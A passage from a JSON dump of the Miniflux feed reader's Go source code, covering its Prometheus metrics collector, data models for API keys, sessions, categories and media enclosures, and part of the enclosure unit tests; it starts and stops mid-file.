    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage metric // import \"miniflux.app/v2/internal/metric\"\n\nimport (\n\t\"log/slog\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/storage\"\n\n\t\"github.com/prometheus/client_golang/prometheus\"\n)\n\n// Prometheus Metrics.\nvar (\n\tBackgroundFeedRefreshDuration = prometheus.NewHistogramVec(\n\t\tprometheus.HistogramOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"background_feed_refresh_duration\",\n\t\t\tHelp:      \"Processing time to refresh feeds from the background workers\",\n\t\t\tBuckets:   prometheus.LinearBuckets(1, 2, 15),\n\t\t},\n\t\t[]string{\"status\"},\n\t)\n\n\tScraperRequestDuration = prometheus.NewHistogramVec(\n\t\tprometheus.HistogramOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"scraper_request_duration\",\n\t\t\tHelp:      \"Web scraper request duration\",\n\t\t\tBuckets:   prometheus.LinearBuckets(1, 2, 25),\n\t\t},\n\t\t[]string{\"status\"},\n\t)\n\n\tArchiveEntriesDuration = prometheus.NewHistogramVec(\n\t\tprometheus.HistogramOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"archive_entries_duration\",\n\t\t\tHelp:      \"Archive entries duration\",\n\t\t\tBuckets:   prometheus.LinearBuckets(1, 2, 30),\n\t\t},\n\t\t[]string{\"status\"},\n\t)\n\n\tusersGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"users\",\n\t\t\tHelp:      \"Number of users\",\n\t\t},\n\t)\n\n\tfeedsGauge = prometheus.NewGaugeVec(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"feeds\",\n\t\t\tHelp:      \"Number of feeds by status\",\n\t\t},\n\t\t[]string{\"status\"},\n\t)\n\n\tbrokenFeedsGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"broken_feeds\",\n\t\t\tHelp:      \"Number of broken feeds\",\n\t\t},\n\t)\n\n\tentriesGauge = prometheus.NewGaugeVec(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"entries\",\n\t\t\tHelp:      \"Number of entries by status\",\n\t\t},\n\t\t[]string{\"status\"},\n\t)\n\n\tdbOpenConnectionsGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"db_open_connections\",\n\t\t\tHelp:      \"The number of established connections both in use and idle\",\n\t\t},\n\t)\n\n\tdbConnectionsInUseGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"db_connections_in_use\",\n\t\t\tHelp:      \"The number of connections currently in use\",\n\t\t},\n\t)\n\n\tdbConnectionsIdleGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"db_connections_idle\",\n\t\t\tHelp:      \"The number of idle connections\",\n\t\t},\n\t)\n\n\tdbConnectionsWaitCountGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"db_connections_wait_count\",\n\t\t\tHelp:      \"The total number of connections waited for\",\n\t\t},\n\t)\n\n\tdbConnectionsMaxIdleClosedGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"db_connections_max_idle_closed\",\n\t\t\tHelp:      \"The total number of connections closed due to SetMaxIdleConns\",\n\t\t},\n\t)\n\n\tdbConnectionsMaxIdleTimeClosedGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"db_connections_max_idle_time_closed\",\n\t\t\tHelp:      \"The total number of connections closed due to SetConnMaxIdleTime\",\n\t\t},\n\t)\n\n\tdbConnectionsMaxLifetimeClosedGauge = prometheus.NewGauge(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: \"miniflux\",\n\t\t\tName:      \"db_connections_max_lifetime_closed\",\n\t\t\tHelp:      \"The total number of connections closed due to SetConnMaxLifetime\",\n\t\t},\n\t)\n)\n\n// collector represents a metric collector.\ntype collector struct {\n\tstore           *storage.Storage\n\trefreshInterval time.Duration\n}\n\n// NewCollector initializes a new metric collector.\nfunc NewCollector(store *storage.Storage, refreshInterval time.Duration) *collector {\n\tprometheus.MustRegister(BackgroundFeedRefreshDuration)\n\tprometheus.MustRegister(ScraperRequestDuration)\n\tprometheus.MustRegister(ArchiveEntriesDuration)\n\tprometheus.MustRegister(usersGauge)\n\tprometheus.MustRegister(feedsGauge)\n\tprometheus.MustRegister(brokenFeedsGauge)\n\tprometheus.MustRegister(entriesGauge)\n\tprometheus.MustRegister(dbOpenConnectionsGauge)\n\tprometheus.MustRegister(dbConnectionsInUseGauge)\n\tprometheus.MustRegister(dbConnectionsIdleGauge)\n\tprometheus.MustRegister(dbConnectionsWaitCountGauge)\n\tprometheus.MustRegister(dbConnectionsMaxIdleClosedGauge)\n\tprometheus.MustRegister(dbConnectionsMaxIdleTimeClosedGauge)\n\tprometheus.MustRegister(dbConnectionsMaxLifetimeClosedGauge)\n\n\treturn &collector{store, refreshInterval}\n}\n\n// GatherStorageMetrics polls the database to fetch metrics.\nfunc (c *collector) GatherStorageMetrics() {\n\tfor range time.Tick(c.refreshInterval) {\n\t\tslog.Debug(\"Collecting metrics from the database\")\n\n\t\tusersGauge.Set(float64(c.store.CountUsers()))\n\t\tbrokenFeedsGauge.Set(float64(c.store.CountAllFeedsWithErrors()))\n\n\t\tfeedsCount := c.store.CountAllFeeds()\n\t\tfor status, count := range feedsCount {\n\t\t\tfeedsGauge.WithLabelValues(status).Set(float64(count))\n\t\t}\n\n\t\tentriesCount := c.store.CountAllEntries()\n\t\tfor status, count := range entriesCount {\n\t\t\tentriesGauge.WithLabelValues(status).Set(float64(count))\n\t\t}\n\n\t\tdbStats := c.store.DBStats()\n\t\tdbOpenConnectionsGauge.Set(float64(dbStats.OpenConnections))\n\t\tdbConnectionsInUseGauge.Set(float64(dbStats.InUse))\n\t\tdbConnectionsIdleGauge.Set(float64(dbStats.Idle))\n\t\tdbConnectionsWaitCountGauge.Set(float64(dbStats.WaitCount))\n\t\tdbConnectionsMaxIdleClosedGauge.Set(float64(dbStats.MaxIdleClosed))\n\t\tdbConnectionsMaxIdleTimeClosedGauge.Set(float64(dbStats.MaxIdleTimeClosed))\n\t\tdbConnectionsMaxLifetimeClosedGauge.Set(float64(dbStats.MaxLifetimeClosed))\n\t}\n}\n"
  },
  {
    "path": "internal/model/api_key.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"time\"\n)\n\n// APIKey represents an application API key.\n// We need to use a pointer for LastUsedAt,\n// as the value obtained from the database might sometimes be nil.\ntype APIKey struct {\n\tID          int64      `json:\"id\"`\n\tUserID      int64      `json:\"user_id\"`\n\tToken       string     `json:\"token\"`\n\tDescription string     `json:\"description\"`\n\tLastUsedAt  *time.Time `json:\"last_used_at\"`\n\tCreatedAt   time.Time  `json:\"created_at\"`\n}\n\n// APIKeys represents a collection of API Key.\ntype APIKeys []APIKey\n\n// APIKeyCreationRequest represents the request to create a new API Key.\ntype APIKeyCreationRequest struct {\n\tDescription string `json:\"description\"`\n}\n"
  },
  {
    "path": "internal/model/app_session.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"database/sql/driver\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n)\n\n// SessionData represents the data attached to the session.\ntype SessionData struct {\n\tCSRF                string          `json:\"csrf\"`\n\tOAuth2State         string          `json:\"oauth2_state\"`\n\tOAuth2CodeVerifier  string          `json:\"oauth2_code_verifier\"`\n\tFlashMessage        string          `json:\"flash_message\"`\n\tFlashErrorMessage   string          `json:\"flash_error_message\"`\n\tLanguage            string          `json:\"language\"`\n\tTheme               string          `json:\"theme\"`\n\tLastForceRefresh    string          `json:\"last_force_refresh\"`\n\tWebAuthnSessionData WebAuthnSession `json:\"webauthn_session_data\"`\n}\n\nfunc (s *SessionData) String() string {\n\treturn fmt.Sprintf(`CSRF=%q, OAuth2State=%q, OAuth2CodeVerifier=%q, FlashMsg=%q, FlashErrMsg=%q, Lang=%q, Theme=%q, LastForceRefresh=%s, WebAuthnSession=%q`,\n\t\ts.CSRF,\n\t\ts.OAuth2State,\n\t\ts.OAuth2CodeVerifier,\n\t\ts.FlashMessage,\n\t\ts.FlashErrorMessage,\n\t\ts.Language,\n\t\ts.Theme,\n\t\ts.LastForceRefresh,\n\t\ts.WebAuthnSessionData,\n\t)\n}\n\n// Value converts the session data to JSON.\nfunc (s *SessionData) Value() (driver.Value, error) {\n\tj, err := json.Marshal(s)\n\treturn j, err\n}\n\n// Scan converts raw JSON data.\nfunc (s *SessionData) Scan(src any) error {\n\tsource, ok := src.([]byte)\n\tif !ok {\n\t\treturn errors.New(\"session: unable to assert type of src\")\n\t}\n\n\terr := json.Unmarshal(source, s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"session: %v\", err)\n\t}\n\n\treturn err\n}\n\n// Session represents a session in the system.\ntype Session struct {\n\tID   string\n\tData *SessionData\n}\n\nfunc (s *Session) String() string {\n\treturn fmt.Sprintf(`ID=%q, Data={%v}`, s.ID, s.Data)\n}\n"
  },
  {
    "path": "internal/model/categories_sort_options.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nfunc CategoriesSortingOptions() map[string]string {\n\treturn map[string]string{\n\t\t\"unread_count\": \"form.prefs.select.unread_count\",\n\t\t\"alphabetical\": \"form.prefs.select.alphabetical\",\n\t}\n}\n"
  },
  {
    "path": "internal/model/category.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport \"fmt\"\n\n// Category represents a feed category.\ntype Category struct {\n\tID           int64  `json:\"id\"`\n\tTitle        string `json:\"title\"`\n\tUserID       int64  `json:\"user_id\"`\n\tHideGlobally bool   `json:\"hide_globally\"`\n\t// Pointers are needed to avoid breaking /v1/categories?counts=true\n\tFeedCount   *int `json:\"feed_count,omitempty\"`\n\tTotalUnread *int `json:\"total_unread,omitempty\"`\n}\n\nfunc (c *Category) String() string {\n\treturn fmt.Sprintf(\"ID=%d, UserID=%d, Title=%s\", c.ID, c.UserID, c.Title)\n}\n\ntype CategoryCreationRequest struct {\n\tTitle        string `json:\"title\"`\n\tHideGlobally bool   `json:\"hide_globally\"`\n}\n\ntype CategoryModificationRequest struct {\n\tTitle        *string `json:\"title\"`\n\tHideGlobally *bool   `json:\"hide_globally\"`\n}\n\nfunc (c *CategoryModificationRequest) Patch(category *Category) {\n\tif c.Title != nil {\n\t\tcategory.Title = *c.Title\n\t}\n\n\tif c.HideGlobally != nil {\n\t\tcategory.HideGlobally = *c.HideGlobally\n\t}\n}\n\n// Categories represents a list of categories.\ntype Categories []Category\n"
  },
  {
    "path": "internal/model/enclosure.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/mediaproxy\"\n)\n\n// Enclosure represents an attachment.\ntype Enclosure struct {\n\tID               int64  `json:\"id\"`\n\tUserID           int64  `json:\"user_id\"`\n\tEntryID          int64  `json:\"entry_id\"`\n\tURL              string `json:\"url\"`\n\tMimeType         string `json:\"mime_type\"`\n\tSize             int64  `json:\"size\"`\n\tMediaProgression int64  `json:\"media_progression\"`\n}\n\ntype EnclosureUpdateRequest struct {\n\tMediaProgression int64 `json:\"media_progression\"`\n}\n\n// Html5MimeType will modify the actual MimeType to allow direct playback from HTML5 player for some kind of MimeType\nfunc (e *Enclosure) Html5MimeType() string {\n\tif e.MimeType == \"video/m4v\" {\n\t\treturn \"video/x-m4v\"\n\t}\n\treturn e.MimeType\n}\n\nfunc (e *Enclosure) IsAudio() bool {\n\treturn strings.HasPrefix(strings.ToLower(e.MimeType), \"audio/\")\n}\n\nfunc (e *Enclosure) IsVideo() bool {\n\treturn strings.HasPrefix(strings.ToLower(e.MimeType), \"video/\")\n}\n\nfunc (e *Enclosure) IsImage() bool {\n\tmimeType := strings.ToLower(e.MimeType)\n\tif strings.HasPrefix(mimeType, \"image/\") {\n\t\treturn true\n\t}\n\tmediaURL := strings.ToLower(e.URL)\n\treturn strings.HasSuffix(mediaURL, \".jpg\") || strings.HasSuffix(mediaURL, \".jpeg\") || strings.HasSuffix(mediaURL, \".png\") || strings.HasSuffix(mediaURL, \".gif\")\n}\n\n// ProxifyEnclosureURL modifies the enclosure URL to use the media proxy if necessary.\nfunc (e *Enclosure) ProxifyEnclosureURL(mediaProxyOption string, mediaProxyResourceTypes []string) {\n\tif mediaproxy.ShouldProxifyURLWithMimeType(e.URL, e.MimeType, mediaProxyOption, mediaProxyResourceTypes) {\n\t\te.URL = mediaproxy.ProxifyAbsoluteURL(e.URL)\n\t}\n}\n\n// EnclosureList represents a list of attachments.\ntype EnclosureList []*Enclosure\n\n// FindMediaPlayerEnclosure returns the first enclosure that can be played by a media player.\nfunc (el EnclosureList) FindMediaPlayerEnclosure() *Enclosure {\n\tfor _, enclosure := range el {\n\t\tif enclosure.URL != \"\" {\n\t\t\tif enclosure.IsAudio() || enclosure.IsVideo() {\n\t\t\t\treturn enclosure\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (el EnclosureList) ContainsAudioOrVideo() bool {\n\tfor _, enclosure := range el {\n\t\tif enclosure.IsAudio() || enclosure.IsVideo() {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (el EnclosureList) ProxifyEnclosureURL(mediaProxyOption string, mediaProxyResourceTypes []string) {\n\tfor _, enclosure := range el {\n\t\tenclosure.ProxifyEnclosureURL(mediaProxyOption, mediaProxyResourceTypes)\n\t}\n}\n"
  },
  {
    "path": "internal/model/enclosure_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc TestEnclosure_Html5MimeTypeGivesOriginalMimeType(t *testing.T) {\n\tenclosure := Enclosure{MimeType: \"thing/thisMimeTypeIsNotExpectedToBeReplaced\"}\n\tif enclosure.Html5MimeType() != enclosure.MimeType {\n\t\tt.Fatalf(\n\t\t\t\"HTML5 MimeType must provide original MimeType if not explicitly Replaced. Got %s ,expected '%s' \",\n\t\t\tenclosure.Html5MimeType(),\n\t\t\tenclosure.MimeType,\n\t\t)\n\t}\n}\n\nfunc TestEnclosure_Html5MimeTypeReplaceStandardM4vByAppleSpecificMimeType(t *testing.T) {\n\tenclosure := Enclosure{MimeType: \"video/m4v\"}\n\tif enclosure.Html5MimeType() != \"video/x-m4v\" {\n\t\t// Solution from this stackoverflow discussion:\n\t\t// https://stackoverflow.com/questions/15277147/m4v-mimetype-video-mp4-or-video-m4v/66945470#66945470\n\t\t// tested at the time of this commit (06/2023) on latest Firefox & Vivaldi on this feed\n\t\t// https://www.florenceporcel.com/podcast/lfhdu.xml\n\t\tt.Fatalf(\n\t\t\t\"HTML5 MimeType must be replaced by 'video/x-m4v' when originally video/m4v to ensure playbacks in browsers. Got '%s'\",\n\t\t\tenclosure.Html5MimeType(),\n\t\t)\n\t}\n}\n\nfunc TestEnclosure_IsAudio(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\tmimeType string\n\t\texpected bool\n\t}{\n\t\t{\"MP3 audio\", \"audio/mpeg\", true},\n\t\t{\"WAV audio\", \"audio/wav\", true},\n\t\t{\"OGG audio\", \"audio/ogg\", true},\n\t\t{\"Mixed case audio\", \"Audio/MP3\", true},\n\t\t{\"Video file\", \"video/mp4\", false},\n\t\t{\"Image file\", \"image/jpeg\", false},\n\t\t{\"Text file\", \"text/plain\", false},\n\t\t{\"Empty mime type\", \"\", false},\n\t\t{\"Audio with extra info\", \"audio/mpeg; charset=utf-8\", true},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tenclosure := &Enclosure{MimeType: tc.mimeType}\n\t\t\tif got := enclosure.IsAudio(); got != tc.expected {\n\t\t\t\tt.Errorf(\"IsAudio() = %v, want %v for mime type %s\", got, tc.expected, tc.mimeType)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestEnclosure_IsVideo(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\tmimeType string\n\t\texpected bool\n\t}{\n\t\t{\"MP4 video\", \"video/mp4\", true},\n\t\t{\"AVI video\", \"video/avi\", true},\n\t\t{\"WebM video\", \"video/webm\", true},\n\t\t{\"M4V video\", \"video/m4v\", true},\n\t\t{\"Mixed case video\", \"Video/MP4\", true},\n\t\t{\"Audio file\", \"audio/mpeg\", false},\n\t\t{\"Image file\", \"image/jpeg\", false},\n\t\t{\"Text file\", \"text/plain\", false},\n\t\t{\"Empty mime type\", \"\", false},\n\t\t{\"Video with extra info\", \"video/mp4; codecs=\\\"avc1.42E01E\\\"\", true},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tenclosure := &Enclosure{MimeType: tc.mimeType}\n\t\t\tif got := enclosure.IsVideo(); got != tc.expected {\n\t\t\t\tt.Errorf(\"IsVideo() = %v, want %v for mime type %s\", got, tc.expected, tc.mimeType)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestEnclosure_IsImage(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\tmimeType string\n\t\turl      string\n\t\texpected bool\n\t}{\n\t\t{\"JPEG image by mime\", \"image/jpeg\", \"http://example.com/file\", true},\n\t\t{\"PNG image by mime\", \"image/png\", \"http://example.com/file\", true},\n\t\t{\"GIF image by mime\", \"image/gif\", \"http://example.com/file\", true},\n\t\t{\"Mixed case image mime\", \"Image/JPEG\", \"http://example.com/file\", true},\n\t\t{\"JPG file extension\", \"application/octet-stream\", \"http://example.com/photo.jpg\", true},\n\t\t{\"JPEG file extension\", \"text/plain\", \"http://example.com/photo.jpeg\", true},\n\t\t{\"PNG file extension\", \"unknown/type\", \"http://example.com/photo.png\", true},\n\t\t{\"GIF file extension\", \"binary/data\", \"http://example.com/photo.gif\", true},\n\t\t{\"Mixed case extension\", \"text/plain\", \"http://example.com/photo.JPG\", true},\n\t\t{\"Image mime and extension\", \"image/jpeg\", \"http://example.com/photo.jpg\", true},\n\t\t{\"Video file\", \"video/mp4\", \"http://example.com/video.mp4\", false},\n\t\t{\"Audio file\", \"audio/mpeg\", \"http://example.com/audio.mp3\", false},\n\t\t{\"Text file\", \"text/plain\", \"http://example.com/file.txt\", false},\n\t\t{\"No extension\", \"text/plain\", \"http://example.com/file\", false},\n\t\t{\"Other extension\", \"text/plain\", \"http://example.com/file.pdf\", false},\n\t\t{\"Empty values\", \"\", \"\", false},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tenclosure := &Enclosure{MimeType: tc.mimeType, URL: tc.url}\n\t\t\tif got := enclosure.IsImage(); got != tc.expected {\n\t\t\t\tt.Errorf(\"IsImage() = %v, want %v for mime type %s and URL %s\", got, tc.expected, tc.mimeType, tc.url)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestEnclosureList_FindMediaPlayerEnclosure(t *testing.T) {\n\ttestCases := []struct {\n\t\tname        string\n\t\tenclosures  EnclosureList\n\t\texpectedNil bool\n\t}{\n\t\t{\n\t\t\tname: \"Returns first audio enclosure\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"http://example.com/audio.mp3\", MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/video.mp4\", MimeType: \"video/mp4\"},\n\t\t\t},\n\t\t\texpectedNil: false,\n\t\t},\n\t\t{\n\t\t\tname: \"Returns first video enclosure\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"http://example.com/video.mp4\", MimeType: \"video/mp4\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/audio.mp3\", MimeType: \"audio/mpeg\"},\n\t\t\t},\n\t\t\texpectedNil: false,\n\t\t},\n\t\t{\n\t\t\tname: \"Skips image enclosure and returns audio\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"http://example.com/image.jpg\", MimeType: \"image/jpeg\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/audio.mp3\", MimeType: \"audio/mpeg\"},\n\t\t\t},\n\t\t\texpectedNil: false,\n\t\t},\n\t\t{\n\t\t\tname: \"Skips enclosure with empty URL\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"\", MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/audio.mp3\", MimeType: \"audio/mpeg\"},\n\t\t\t},\n\t\t\texpectedNil: false,\n\t\t},\n\t\t{\n\t\t\tname: \"Returns nil for no media enclosures\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"http://example.com/image.jpg\", MimeType: \"image/jpeg\"},\n\t\t\t\t&Enclosure{URL: \"http://example.com/doc.pdf\", MimeType: \"application/pdf\"},\n\t\t\t},\n\t\t\texpectedNil: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"Returns nil for empty list\",\n\t\t\tenclosures:  EnclosureList{},\n\t\t\texpectedNil: true,\n\t\t},\n\t\t{\n\t\t\tname: \"Returns nil for all empty URLs\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{URL: \"\", MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{URL: \"\", MimeType: \"video/mp4\"},\n\t\t\t},\n\t\t\texpectedNil: true,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tresult := tc.enclosures.FindMediaPlayerEnclosure()\n\t\t\tif tc.expectedNil {\n\t\t\t\tif result != nil {\n\t\t\t\t\tt.Errorf(\"FindMediaPlayerEnclosure() = %v, want nil\", result)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif result == nil {\n\t\t\t\t\tt.Errorf(\"FindMediaPlayerEnclosure() = nil, want non-nil\")\n\t\t\t\t} else if !result.IsAudio() && !result.IsVideo() {\n\t\t\t\t\tt.Errorf(\"FindMediaPlayerEnclosure() returned non-media enclosure: %s\", result.MimeType)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestEnclosureList_ContainsAudioOrVideo(t *testing.T) {\n\ttestCases := []struct {\n\t\tname       string\n\t\tenclosures EnclosureList\n\t\texpected   bool\n\t}{\n\t\t{\n\t\t\tname: \"Contains audio\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{MimeType: \"image/jpeg\"},\n\t\t\t},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname: \"Contains video\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{MimeType: \"image/jpeg\"},\n\t\t\t\t&Enclosure{MimeType: \"video/mp4\"},\n\t\t\t},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname: \"Contains both audio and video\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{MimeType: \"audio/mpeg\"},\n\t\t\t\t&Enclosure{MimeType: \"video/mp4\"},\n\t\t\t},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname: \"Contains only images\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{MimeType: \"image/jpeg\"},\n\t\t\t\t&Enclosure{MimeType: \"image/png\"},\n\t\t\t},\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname: \"Contains only documents\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{MimeType: \"application/pdf\"},\n\t\t\t\t&Enclosure{MimeType: \"text/plain\"},\n\t\t\t},\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:       \"Empty list\",\n\t\t\tenclosures: EnclosureList{},\n\t\t\texpected:   false,\n\t\t},\n\t\t{\n\t\t\tname: \"Single audio enclosure\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{MimeType: \"audio/wav\"},\n\t\t\t},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname: \"Single video enclosure\",\n\t\t\tenclosures: EnclosureList{\n\t\t\t\t&Enclosure{MimeType: \"video/webm\"},\n\t\t\t},\n\t\t\texpected: true,\n\t\t},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tresult := tc.enclosures.ContainsAudioOrVideo()\n\t\t\tif result != tc.expected {\n\t\t\t\tt.Errorf(\"ContainsAudioOrVideo() = %v, want %v\", result, tc.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestEnclosure_ProxifyEnclosureURL(t *testing.T) {\n\t// Initialize config for testing\n\tos.Clearenv()\n\tos.Setenv(\"BASE_URL\", \"http://localhost\")\n\tos.Setenv(\"MEDIA_PROXY_PRIVATE_KEY\", \"test-private-key\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Config parsing failure: %v`, err)\n\t}\n\n\ttestCases := []struct {\n\t\tname                    string\n\t\turl                     string\n\t\tmimeType                string\n\t\tmediaProxyOption        string\n\t\tmediaProxyResourceTypes []string\n\t\texpectedURLChanged      bool\n\t}{\n\t\t{\n\t\t\tname:                    \"HTTP URL with audio type - proxy mode all\",\n\t\t\turl:                     \"http://example.com/audio.mp3\",\n\t\t\tmimeType:                \"audio/mpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedURLChanged:      true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTPS URL with video type - proxy mode all\",\n\t\t\turl:                     \"https://example.com/video.mp4\",\n\t\t\tmimeType:                \"video/mp4\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedURLChanged:      true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTP URL with video type - proxy mode http-only\",\n\t\t\turl:                     \"http://example.com/video.mp4\",\n\t\t\tmimeType:                \"video/mp4\",\n\t\t\tmediaProxyOption:        \"http-only\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedURLChanged:      true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTPS URL with video type - proxy mode http-only\",\n\t\t\turl:                     \"https://example.com/video.mp4\",\n\t\t\tmimeType:                \"video/mp4\",\n\t\t\tmediaProxyOption:        \"http-only\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedURLChanged:      false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTP URL with image type - not in resource types\",\n\t\t\turl:                     \"http://example.com/image.jpg\",\n\t\t\tmimeType:                \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedURLChanged:      false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTP URL with image type - in resource types\",\n\t\t\turl:                     \"http://example.com/image.jpg\",\n\t\t\tmimeType:                \"image/jpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\", \"image\"},\n\t\t\texpectedURLChanged:      true,\n\t\t},\n\t\t{\n\t\t\tname:                    \"HTTP URL - proxy mode none\",\n\t\t\turl:                     \"http://example.com/audio.mp3\",\n\t\t\tmimeType:                \"audio/mpeg\",\n\t\t\tmediaProxyOption:        \"none\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedURLChanged:      false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"Empty URL\",\n\t\t\turl:                     \"\",\n\t\t\tmimeType:                \"audio/mpeg\",\n\t\t\tmediaProxyOption:        \"all\",\n\t\t\tmediaProxyResourceTypes: []string{\"audio\", \"video\"},\n\t\t\texpectedURLChanged:      false,\n\t\t},\n\t\t{\n\t\t\tname:                    \"Non-media MIME type\",\n\t\t\turl:                     \"http://example.com/doc.pdf\",\n\t\t\tmimeType:                \"application/pdf\",\n\t\t\tmediaProxyOption:        